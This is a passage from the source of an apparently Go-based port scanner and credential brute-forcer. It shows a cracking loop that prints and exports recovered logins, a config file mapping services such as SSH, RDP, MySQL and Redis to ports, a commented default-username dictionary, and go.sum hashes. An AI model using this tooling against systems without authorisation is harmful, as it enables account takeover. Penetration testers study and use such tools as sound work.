163 | // ipOption.CrackInfo.Deal = "rdp"
164 | // connect.ConnectRdp()
165 | }
166 | ipOption.CrackInfo.UserName = connect.UserName
167 | ipOption.CrackInfo.Password = connect.Password
168 | if connect.CrackStatus {
169 |
170 | // 打印输出
171 | ipAndPort := color.C256(46).Sprintf("%s:%d\t", ipOption.Ip, ipOption.Port)
172 | userName := color.C256(226).Sprintf("%s\t", ipOption.CrackInfo.UserName)
173 | passWord := color.C256(51).Sprintf("%s\t", ipOption.CrackInfo.Password)
174 | deal := color.C256(219).Sprintf("%s\n", ipOption.CrackInfo.Deal)
175 | tmpprint := ipAndPort + userName + passWord + deal
176 | view.PrintlnSuccess(tmpprint)
177 |
178 | // 导出
179 | if config.OutPutType != "" {
180 | if strings.Contains(config.OutPutType, ".csv") {
181 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_Crack.csv"
182 | output.OutputFile(path, ipOption, config.MODE_CRACK)
183 | } else {
184 | output.OutputFile(config.OutPutType, ipOption, config.MODE_CRACK)
185 | }
186 | }
187 | }
188 | wg.Done()
189 | <-ThreadMaxChan
190 | }(connect, ipOption)
191 | }
192 | }
193 | }
194 | }
195 | close(ThreadMaxChan)
196 | wg.Wait()
197 |
198 | //// 新的代码
199 | //// password 中含有 superkey,后期进行暴力破解的时候,会对 superkey 进行解析适配
200 | //passwords := file.ReadFile2Strings4embed(Dic, passwordPath)
201 | //
202 | //wg := &sync.WaitGroup{}
203 | //var ThreadMaxChan = make(chan int, config.ThreadMax)
204 | //
205 | //for _, ipOption := range ipOptions.IpOption {
206 | // if ipOption.PortOpenStatus {
207 | // switch ipOption.Port {
208 | // case config.PostsCrackMap["ssh"]:
209 | // subCrack("ssh", ipOption, passwords, wg, ThreadMaxChan)
210 | //
211 | // }
212 | // }
213 | //}
214 | //close(ThreadMaxChan)
215 | //wg.Wait()
216 | }
217 |
--------------------------------------------------------------------------------
/config/global.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import "time"
4 |
5 | // 扫描默认端口
6 | var Ports = "21, 22, 23, 25, 53, 69, 80, 81, 88, 89, 110, 135, 161, 445, 139, 137, 143, 389, 443, 512, 513, 514, 548, 873, 1433, 1521, 2181, 3306, 3389, 3690, 4848, 5000, 5001, 5432, 5632, 5900, 5901, 5902, 6379, 7000, 7001, 7002, 8000, 8001, 8007, 8008, 8009, 8069, 8080, 8081, 8088, 8089, 8090, 8091, 9060, 9090, 9091, 9200, 9300, 10000, 11211, 27017, 27018, 50000, 1080, 888, 1158, 2100, 2424, 2601, 2604, 3128, 5984, 7080, 8010, 8082, 8083, 8084, 8085, 8086, 8087, 8222, 8443, 8686, 8888, 9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010, 9043, 9080, 9081, 9418, 9999, 50030, 50060, 50070, 82, 83, 84, 85, 86, 87, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7070, 7071, 7072, 7073, 7074, 7075, 7076, 7077, 7078, 7079, 8002, 8003, 8004, 8005, 8006, 8200, 90, 801, 8011, 8100, 8012, 8070, 99, 7777, 8028, 808, 38888, 8181, 800, 18080, 8099, 8899, 8360, 8300, 8800, 8180, 3505, 8053, 1000, 8989, 28017, 49166, 3000, 41516, 880, 8484, 6677, 8016, 7200, 9085, 5555, 8280, 1980, 8161, 7890, 8060, 6080, 8880, 8020, 889, 8881, 38501, 1010, 93, 6666, 100, 6789, 7060, 8018, 8022, 3050, 8787, 2000, 10001, 8013, 6888, 8040, 10021, 2011, 6006, 4000, 8055, 4430, 1723, 6060, 7788, 8066, 9898, 6001, 8801, 10040, 9998, 803, 6688, 10080, 8050, 7011, 40310, 18090, 802, 10003, 8014, 2080, 7288, 8044, 9992, 8889, 5644, 8886, 9500, 58031, 9020, 8015, 8887, 8021, 8700, 91, 9900, 9191, 3312, 8186, 8735, 8380, 1234, 38080, 9088, 9988, 2110, 21245, 3333, 2046, 9061, 2375, 9011, 8061, 8093, 9876, 8030, 8282, 60465, 2222, 98, 1100, 18081, 70, 8383, 5155, 92, 8188, 2517, 8062, 11324, 2008, 9231, 999, 28214, 16080, 8092, 8987, 8038, 809, 2010, 8983, 7700, 3535, 7921, 9093, 11080, 6778, 805, 9083, 8073, 10002, 114, 2012, 701, 8810, 8400, 9099, 8098, 8808, 20000, 8065, 8822, 15000, 9901, 11158, 1107, 28099, 12345, 2006, 9527, 51106, 688, 25006, 8045, 8023, 8029, 9997, 7048, 8580, 8585, 2001, 8035, 10088, 20022, 4001, 2013, 20808, 8095, 106, 3580, 7742, 8119, 6868, 32766, 50075, 7272, 3380, 3220, 7801, 5256, 5255, 10086, 1300, 5200, 8096, 6198, 6889, 3503, 6088, 9991, 806, 5050, 8183, 8688, 1001, 58080, 1182, 9025, 8112, 7776, 7321, 235, 8077, 8500, 11347, 7081, 8877, 8480, 9182, 58000, 8026, 11001, 10089, 5888, 8196, 8078, 9995, 2014, 5656, 8019, 5003, 8481, 6002, 9889, 9015, 8866, 8182, 8057, 8399, 10010, 8308, 511, 12881, 4016, 8042, 1039, 28080, 5678, 7500, 8051, 18801, 15018, 15888, 38443, 8123, 8144, 94, 9070, 1800, 9112, 8990, 3456, 2051, 9098, 444, 9131, 97, 7100, 7711, 7180, 11000, 8037, 6988, 122, 8885, 14007, 8184, 7012, 8079, 9888, 9301, 59999, 49705, 1979, 8900, 5080, 5013, 1550, 8844, 4850, 206, 5156, 8813, 3030, 1790, 8802, 9012, 5544, 3721, 8980, 10009, 8043, 8390, 7943, 8381, 8056, 7111, 1500, 7088, 5881, 9437, 5655, 8102, 6000, 65486, 4443, 10025, 8024, 8333, 8666, 103, 8, 9666, 8999, 9111, 8071, 9092, 522, 11381, 20806, 8041, 1085, 8864, 7900, 1700, 8036, 8032, 8033, 8111, 60022, 955, 3080, 8788, 7443, 8192, 6969, 9909, 5002, 9990, 188, 8910, 9022, 10004, 866, 8582, 4300, 9101, 6879, 8891, 4567, 4440, 10051, 10068, 50080, 8341, 30001, 6890, 8168, 8955, 16788, 8190, 18060, 7041, 42424, 8848, 15693, 2521, 19010, 18103, 6010, 8898, 9910, 9190, 9082, 8260, 8445, 1680, 8890, 8649, 30082, 3013, 30000, 2480, 7202, 9704, 5233, 8991, 11366, 7888, 8780, 7129, 6600, 9443, 47088, 7791, 18888, 50045, 15672, 9089, 2585, 60, 9494, 31945, 2060, 8610, 8860, 58060, 6118, 2348, 8097, 38000, 18880, 13382, 6611, 8064, 7101, 5081, 7380, 7942, 10016, 8027, 2093, 403, 9014, 8133, 6886, 95, 8058, 9201, 6443, 5966, 27000, 7017, 6680, 8401, 9036, 8988, 8806, 6180, 421, 423, 57880, 7778, 18881, 812, 15004, 9110, 8213, 8868, 1213, 8193, 8956, 1108, 778, 65000, 7020, 1122, 9031, 17000, 8039, 8600, 50090, 1863, 8191, 65, 6587, 8136, 9507, 132, 200, 2070, 308, 5811, 3465, 8680, 7999, 7084, 18082, 3938, 18001, 9595, 442, 4433, 7171, 9084, 7567, 811, 1128, 6003, 2125, 6090, 10007, 7022, 1949, 6565, 65001, 1301, 19244, 10087, 8025, 5098, 21080, 1200, 15801, 1005, 22343, 7086, 8601, 6259, 7102, 10333, 211, 10082, 18085, 180, 40000, 7021, 7702, 66, 38086, 666, 6603, 1212, 65493, 96, 9053, 7031, 23454, 30088, 6226, 8660, 6170, 8972, 9981, 48080, 9086, 10118, 40069, 28780, 20153, 20021, 20151, 58898, 10066, 1818, 9914, 55351, 8343, 18000, 6546, 3880, 8902, 22222, 19045, 5561, 7979, 5203, 8879, 50240, 49960, 2007, 1722, 8913, 8912, 9504, 8103, 8567, 1666, 8720, 8197, 3012, 8220, 9039, 5898, 925, 38517, 8382, 6842, 8895, 2808, 447, 3600, 3606, 9095, 45177, 19101, 171, 133, 8189, 7108, 10154, 47078, 6800, 8122, 381, 1443, 15580, 23352, 3443, 1180, 268, 2382, 43651, 10099, 65533, 7018, 60010, 60101, 6699, 2005, 18002, 2009, 59777, 591, 1933, 9013, 8477, 9696, 9030, 2015, 7925, 6510, 18803, 280, 5601, 2901, 2301, 5201, 302, 610, 8031, 5552, 8809, 6869, 9212, 17095, 20001, 8781, 25024, 5280, 7909, 17003, 1088, 7117, 20052, 1900, 10038, 30551, 9980, 9180, 59009, 28280, 7028, 61999, 7915, 8384, 9918, 9919, 55858, 7215, 77, 9845, 20140, 8288, 7856, 1982, 1123, 17777, 8839, 208, 2886, 877, 6101, 5100, 804, 983, 5600, 8402, 5887, 8322, 770, 13333, 7330, 3216, 31188, 47583, 8710, 22580, 1042, 2020, 34440, 20, 7703, 65055, 8997, 6543, 6388, 8283, 7201, 4040, 61081, 12001, 3588, 7123, 2490, 4389, 1313, 19080, 9050, 6920, 299, 20046, 8892, 9302, 7899, 30058, 7094, 6801, 321, 1356, 12333, 11362, 11372, 6602, 7709, 45149, 3668, 517, 9912, 9096, 8130, 7050, 7713, 40080, 8104, 13988, 18264, 8799, 55070, 23458, 8176, 9517, 9541, 9542, 9512, 8905, 11660, 1025, 44445, 44401, 17173, 436, 560, 733, 968, 602, 3133, 3398, 16580, 8488, 8901, 8512, 10443, 9113, 9119, 6606, 22080, 5560, 7, 5757, 1600, 8250, 10024, 10200, 333, 73, 7547, 8054, 6372, 223, 3737, 9800, 9019, 8067, 45692, 15400, 15698, 9038, 37006, 2086, 1002, 9188, 8094, 8201, 8202, 30030, 2663, 9105, 10017, 4503, 1104, 8893, 40001, 27779, 3010, 7083, 5010, 5501, 309, 1389, 10070, 10069, 10056, 3094, 10057, 10078, 10050, 10060, 10098, 4180, 10777, 270, 6365, 9801, 1046, 7140, 1004, 9198, 8465, 8548, 108, 30015, 8153, 1020, 50100, 8391, 34899, 7090, 6100, 8777, 8298, 8281, 7023, 3377, 9100, 1434, 3399, 25672, 61613, 61614, 62238, 63389, 62289"
7 |
8 | // var Ports = []int{21, 22, 23, 25, 53, 69, 80, 81, 88, 89, 110, 135, 161, 445, 139, 137, 143, 389, 443, 512, 513, 514, 548, 873, 1433, 1521, 2181, 3306, 3389, 3690, 4848, 5000, 5001, 5432, 5632, 5900, 5901, 5902, 6379, 7000, 7001, 7002, 8000, 8001, 8007, 8008, 8009, 8069, 8080, 8081, 8088, 8089, 8090, 8091, 9060, 9090, 9091, 9200, 9300, 10000, 11211, 27017, 27018, 50000, 1080, 888, 1158, 2100, 2424, 2601, 2604, 3128, 5984, 7080, 8010, 8082, 8083, 8084, 8085, 8086, 8087, 8222, 8443, 8686, 8888, 9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010, 9043, 9080, 9081, 9418, 9999, 50030, 50060, 50070, 82, 83, 84, 85, 86, 87, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7070, 7071, 7072, 7073, 7074, 7075, 7076, 7077, 7078, 7079, 8002, 8003, 8004, 8005, 8006, 8200, 90, 801, 8011, 8100, 8012, 8070, 99, 7777, 8028, 808, 38888, 8181, 800, 18080, 8099, 8899, 8360, 8300, 8800, 8180, 3505, 8053, 1000, 8989, 28017, 49166, 3000, 41516, 880, 8484, 6677, 8016, 7200, 9085, 5555, 8280, 1980, 8161, 7890, 8060, 6080, 8880, 8020, 889, 8881, 38501, 1010, 93, 6666, 100, 6789, 7060, 8018, 8022, 3050, 8787, 2000, 10001, 8013, 6888, 8040, 10021, 2011, 6006, 4000, 8055, 4430, 1723, 6060, 7788, 8066, 9898, 6001, 8801, 10040, 9998, 803, 6688, 10080, 8050, 7011, 40310, 18090, 802, 10003, 8014, 2080, 7288, 8044, 9992, 8889, 5644, 8886, 9500, 58031, 9020, 8015, 8887, 8021, 8700, 91, 9900, 9191, 3312, 8186, 8735, 8380, 1234, 38080, 9088, 9988, 2110, 21245, 3333, 2046, 9061, 2375, 9011, 8061, 8093, 9876, 8030, 8282, 60465, 2222, 98, 1100, 18081, 70, 8383, 5155, 92, 8188, 2517, 8062, 11324, 2008, 9231, 999, 28214, 16080, 8092, 8987, 8038, 809, 2010, 8983, 7700, 3535, 7921, 9093, 11080, 6778, 805, 9083, 8073, 10002, 114, 2012, 701, 8810, 8400, 9099, 8098, 8808, 20000, 8065, 8822, 15000, 9901, 11158, 1107, 28099, 12345, 2006, 9527, 51106, 688, 25006, 8045, 8023, 8029, 9997, 7048, 8580, 8585, 2001, 8035, 10088, 20022, 4001, 2013, 20808, 8095, 106, 3580, 7742, 8119, 6868, 32766, 50075, 7272, 3380, 3220, 7801, 5256, 5255, 10086, 1300, 5200, 8096, 6198, 6889, 3503, 6088, 9991, 806, 5050, 8183, 8688, 1001, 58080, 1182, 9025, 8112, 7776, 7321, 235, 8077, 8500, 11347, 7081, 8877, 8480, 9182, 58000, 8026, 11001, 10089, 5888, 8196, 8078, 9995, 2014, 5656, 8019, 5003, 8481, 6002, 9889, 9015, 8866, 8182, 8057, 8399, 10010, 8308, 511, 12881, 4016, 8042, 1039, 28080, 5678, 7500, 8051, 18801, 15018, 15888, 38443, 8123, 8144, 94, 9070, 1800, 9112, 8990, 3456, 2051, 9098, 444, 9131, 97, 7100, 7711, 7180, 11000, 8037, 6988, 122, 8885, 14007, 8184, 7012, 8079, 9888, 9301, 59999, 49705, 1979, 8900, 5080, 5013, 1550, 8844, 4850, 206, 5156, 8813, 3030, 1790, 8802, 9012, 5544, 3721, 8980, 10009, 8043, 8390, 7943, 8381, 8056, 7111, 1500, 7088, 5881, 9437, 5655, 8102, 6000, 65486, 4443, 10025, 8024, 8333, 8666, 103, 8, 9666, 8999, 9111, 8071, 9092, 522, 11381, 20806, 8041, 1085, 8864, 7900, 1700, 8036, 8032, 8033, 8111, 60022, 955, 3080, 8788, 7443, 8192, 6969, 9909, 5002, 9990, 188, 8910, 9022, 10004, 866, 8582, 4300, 9101, 6879, 8891, 4567, 4440, 10051, 10068, 50080, 8341, 30001, 6890, 8168, 8955, 16788, 8190, 18060, 7041, 42424, 8848, 15693, 2521, 19010, 18103, 6010, 8898, 9910, 9190, 9082, 8260, 8445, 1680, 8890, 8649, 30082, 3013, 30000, 2480, 7202, 9704, 5233, 8991, 11366, 7888, 8780, 7129, 6600, 9443, 47088, 7791, 18888, 50045, 15672, 9089, 2585, 60, 9494, 31945, 2060, 8610, 8860, 58060, 6118, 2348, 8097, 38000, 18880, 13382, 6611, 8064, 7101, 5081, 7380, 7942, 10016, 8027, 2093, 403, 9014, 8133, 6886, 95, 8058, 9201, 6443, 5966, 27000, 7017, 6680, 8401, 9036, 8988, 8806, 6180, 421, 423, 57880, 7778, 18881, 812, 15004, 9110, 8213, 8868, 1213, 8193, 8956, 1108, 778, 65000, 7020, 1122, 9031, 17000, 8039, 8600, 50090, 1863, 8191, 65, 6587, 8136, 9507, 132, 200, 2070, 308, 5811, 3465, 8680, 7999, 7084, 18082, 3938, 18001, 9595, 442, 4433, 7171, 9084, 7567, 811, 1128, 6003, 2125, 6090, 10007, 7022, 1949, 6565, 65001, 1301, 19244, 10087, 8025, 5098, 21080, 1200, 15801, 1005, 22343, 7086, 8601, 6259, 7102, 10333, 211, 10082, 18085, 180, 40000, 7021, 7702, 66, 38086, 666, 6603, 1212, 65493, 96, 9053, 7031, 23454, 30088, 6226, 8660, 6170, 8972, 9981, 48080, 9086, 10118, 40069, 28780, 20153, 20021, 20151, 58898, 10066, 1818, 9914, 55351, 8343, 18000, 6546, 3880, 8902, 22222, 19045, 5561, 7979, 5203, 8879, 50240, 49960, 2007, 1722, 8913, 8912, 9504, 8103, 8567, 1666, 8720, 8197, 3012, 8220, 9039, 5898, 925, 38517, 8382, 6842, 8895, 2808, 447, 3600, 3606, 9095, 45177, 19101, 171, 133, 8189, 7108, 10154, 47078, 6800, 8122, 381, 1443, 15580, 23352, 3443, 1180, 268, 2382, 43651, 10099, 65533, 7018, 60010, 60101, 6699, 2005, 18002, 2009, 59777, 591, 1933, 9013, 8477, 9696, 9030, 2015, 7925, 6510, 18803, 280, 5601, 2901, 2301, 5201, 302, 610, 8031, 5552, 8809, 6869, 9212, 17095, 20001, 8781, 25024, 5280, 7909, 17003, 1088, 7117, 20052, 1900, 10038, 30551, 9980, 9180, 59009, 28280, 7028, 61999, 7915, 8384, 9918, 9919, 55858, 7215, 77, 9845, 20140, 8288, 7856, 1982, 1123, 17777, 8839, 208, 2886, 877, 6101, 5100, 804, 983, 5600, 8402, 5887, 8322, 770, 13333, 7330, 3216, 31188, 47583, 8710, 22580, 1042, 2020, 34440, 20, 7703, 65055, 8997, 6543, 6388, 8283, 7201, 4040, 61081, 12001, 3588, 7123, 2490, 4389, 1313, 19080, 9050, 6920, 299, 20046, 8892, 9302, 7899, 30058, 7094, 6801, 321, 1356, 12333, 11362, 11372, 6602, 7709, 45149, 3668, 517, 9912, 9096, 8130, 7050, 7713, 40080, 8104, 13988, 18264, 8799, 55070, 23458, 8176, 9517, 9541, 9542, 9512, 8905, 11660, 1025, 44445, 44401, 17173, 436, 560, 733, 968, 602, 3133, 3398, 16580, 8488, 8901, 8512, 10443, 9113, 9119, 6606, 22080, 5560, 7, 5757, 1600, 8250, 10024, 10200, 333, 73, 7547, 8054, 6372, 223, 3737, 9800, 9019, 8067, 45692, 15400, 15698, 9038, 37006, 2086, 1002, 9188, 8094, 8201, 8202, 30030, 2663, 9105, 10017, 4503, 1104, 8893, 40001, 27779, 3010, 7083, 5010, 5501, 309, 1389, 10070, 10069, 10056, 3094, 10057, 10078, 10050, 10060, 10098, 4180, 10777, 270, 6365, 9801, 1046, 7140, 1004, 9198, 8465, 8548, 108, 30015, 8153, 1020, 50100, 8391, 34899, 7090, 6100, 8777, 8298, 8281, 7023, 3377, 9100, 1434, 3399, 25672, 61613, 61614, 62238, 63389, 62289}
9 |
10 | // 扫描特殊端口
11 | // var Ports_other = []int{21, 22, 445, 1100, 1433, 1434, 1521, 3306, 3389, 3399, 6379, 8009, 9200, 11211, 27017, 50070}
12 | var PostsCrackMap = map[string]int{
13 | "ssh": 22,
14 | "mssql": 1433,
15 | "mysql": 3306,
16 | "ftp": 21,
17 | "smb": 445,
18 | "memcached": 11211,
19 | "mongodb": 27017,
20 | "oracle": 1521,
21 | "postgres": 5432,
22 | "redis": 6379,
23 | "rdp": 3389,
24 | }
25 |
26 | // 用户名字典
27 | //var Userdict = map[string][]string{
28 | // "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
29 | // "mysql": {"root", "mysql"},
30 | // "mssql": {"sa", "sql"},
31 | // "smb": {"administrator", "admin", "guest"},
32 | // "rdp": {"administrator", "admin", "guest"},
33 | // "postgresql": {"postgres", "admin"},
34 | // "ssh": {"root", "admin", "kali", "parrot", "test"},
35 | // "mongodb": {"root", "admin"},
36 | // "oracle": {"sys", "system", "admin", "test", "web", "orcl"},
37 | //}
38 |
39 | // UA
40 | //var User_Agent = []string{"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36"}
41 |
42 | var (
43 | // 代理
44 | Proxy = ""
45 |
46 | // 超时时间
47 | TimeOutSet = 7
48 | TimeOut = time.Second * time.Duration(TimeOutSet)
49 |
50 | // Debug 模式开关
51 | Debug = false
52 |
53 | // 最大线程数
54 | ThreadMax = 100
55 |
56 | // 展示所有细节
57 | ViewAll = false
58 |
59 | // 带默认端口扫描
60 | DefaultPorts string
61 |
62 | // 不带默认端口扫描
63 | ForbidPorts string
64 |
65 | // IP 文件路径
66 | IpFilePath string
67 |
68 | // IP 或 IP 段
69 | IpInfo string
70 |
71 | // 过滤保留需要的状态码
72 | Filter string
73 | Filters []int
74 |
75 | // 输出文件的类型
76 | OutPutType string
77 |
78 | // 禁用暴力破解功能
79 | NotCrack = false
80 | )
81 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/EDDYCJY/fake-useragent v0.2.0 h1:Jcnkk2bgXmDpX0z+ELlUErTkoLb/mxFBNd2YdcpvJBs=
2 | github.com/EDDYCJY/fake-useragent v0.2.0/go.mod h1:5wn3zzlDxhKW6NYknushqinPcAqZcAPHy8lLczCdJdc=
3 | github.com/PuerkitoBio/goquery v1.8.0 h1:PJTF7AmFCFKk1N6V6jmKfrNH9tV5pNE6lZMkG0gta/U=
4 | github.com/PuerkitoBio/goquery v1.8.0/go.mod h1:ypIiRMtY7COPGk+I/YbZLbxsxn9g5ejnI2HSMtkjZvI=
5 | github.com/PuerkitoBio/goquery v1.8.1 h1:uQxhNlArOIdbrH1tr0UXwdVFgDcZDrZVdcpygAcwmWM=
6 | github.com/PuerkitoBio/goquery v1.8.1/go.mod h1:Q8ICL1kNUJ2sXGoAhPGUdYDJvgQgHzJsnnd3H7Ho5jQ=
7 | github.com/PuerkitoBio/goquery v1.9.1 h1:mTL6XjbJTZdpfL+Gwl5U2h1l9yEkJjhmlTeV9VPW7UI=
8 | github.com/PuerkitoBio/goquery v1.9.1/go.mod h1:cW1n6TmIMDoORQU5IU/P1T3tGFunOeXEpGP2WHRwkbY=
9 | github.com/andybalholm/cascadia v1.3.1 h1:nhxRkql1kdYCc8Snf7D5/D3spOX+dBgjA6u8x004T2c=
10 | github.com/andybalholm/cascadia v1.3.1/go.mod h1:R4bJ1UQfqADjvDa4P6HZHLh/3OxWWEqc0Sk8XGwHqvA=
11 | github.com/andybalholm/cascadia v1.3.2 h1:3Xi6Dw5lHF15JtdcmAHD3i1+T8plmv7BQ/nsViSLyss=
12 | github.com/andybalholm/cascadia v1.3.2/go.mod h1:7gtRlve5FxPPgIgX36uWBX58OdBsSS6lUvCFb+h7KvU=
13 | github.com/antchfx/htmlquery v1.2.5 h1:1lXnx46/1wtv1E/kzmH8vrfMuUKYgkdDBA9pIdMJnk4=
14 | github.com/antchfx/htmlquery v1.2.5/go.mod h1:2MCVBzYVafPBmKbrmwB9F5xdd+IEgRY61ci2oOsOQVw=
15 | github.com/antchfx/htmlquery v1.3.0 h1:5I5yNFOVI+egyia5F2s/5Do2nFWxJz41Tr3DyfKD25E=
16 | github.com/antchfx/htmlquery v1.3.0/go.mod h1:zKPDVTMhfOmcwxheXUsx4rKJy8KEY/PU6eXr/2SebQ8=
17 | github.com/antchfx/htmlquery v1.3.1 h1:wm0LxjLMsZhRHfQKKZscDf2COyH4vDYA3wyH+qZ+Ylc=
18 | github.com/antchfx/htmlquery v1.3.1/go.mod h1:PTj+f1V2zksPlwNt7uVvZPsxpKNa7mlVliCRxLX6Nx8=
19 | github.com/antchfx/xpath v1.2.1 h1:qhp4EW6aCOVr5XIkT+l6LJ9ck/JsUH/yyauNgTQkBF8=
20 | github.com/antchfx/xpath v1.2.1/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
21 | github.com/antchfx/xpath v1.2.3 h1:CCZWOzv5bAqjVv0offZ2LVgVYFbeldKQVuLNbViZdes=
22 | github.com/antchfx/xpath v1.2.3/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
23 | github.com/antchfx/xpath v1.2.4 h1:dW1HB/JxKvGtJ9WyVGJ0sIoEcqftV3SqIstujI+B9XY=
24 | github.com/antchfx/xpath v1.2.4/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
25 | github.com/antchfx/xpath v1.3.0 h1:nTMlzGAK3IJ0bPpME2urTuFL76o4A96iYvoKFHRXJgc=
26 | github.com/antchfx/xpath v1.3.0/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
27 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
28 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
29 | github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=
30 | github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=
31 | github.com/bradfitz/gomemcache v0.0.0-20221031212613-62deef7fc822 h1:hjXJeBcAMS1WGENGqDpzvmgS43oECTx8UXq31UBu0Jw=
32 | github.com/bradfitz/gomemcache v0.0.0-20221031212613-62deef7fc822/go.mod h1:H0wQNHz2YrLsuXOZozoeDmnHXkNCRmMW0gwFWDfEZDA=
33 | github.com/bradfitz/gomemcache v0.0.0-20230611145640-acc696258285 h1:Dr+ezPI5ivhMn/3WOoB86XzMhie146DNaBbhaQWZHMY=
34 | github.com/bradfitz/gomemcache v0.0.0-20230611145640-acc696258285/go.mod h1:H0wQNHz2YrLsuXOZozoeDmnHXkNCRmMW0gwFWDfEZDA=
35 | github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 h1:N7oVaKyGp8bttX0bfZGmcGkjz7DLQXhAn3DNd3T0ous=
36 | github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874/go.mod h1:r5xuitiExdLAJ09PR7vBVENGvp4ZuTBeWTGtxuX3K+c=
37 | github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ=
38 | github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4=
39 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
40 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
41 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
42 | github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo=
43 | github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
44 | github.com/dlclark/regexp2 v1.10.0 h1:+/GIL799phkJqYW+3YbOd8LCcbHzT0Pbo8zl70MHsq0=
45 | github.com/dlclark/regexp2 v1.10.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
46 | github.com/dlclark/regexp2 v1.11.0 h1:G/nrcoOa7ZXlpoa/91N3X7mM3r8eIlMBBJZvsz/mxKI=
47 | github.com/dlclark/regexp2 v1.11.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
48 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
49 | github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
50 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
51 | github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
52 | github.com/go-redis/redis v6.15.9+incompatible h1:K0pv1D7EQUjfyoMql+r/jZqCLizCGKFlFgcHWWmHQjg=
53 | github.com/go-redis/redis v6.15.9+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA=
54 | github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
55 | github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e h1:1r7pUrabqp18hOBcwBwiTsbnFeTZHV9eER/QT5JVZxY=
56 | github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
57 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
58 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
59 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
60 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
61 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
62 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
63 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
64 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
65 | github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
66 | github.com/golang/protobuf v1.5.0 h1:LUVKkCeviFUMKqHa4tXIIij/lbhnMbP7Fn5wKdKkRh4=
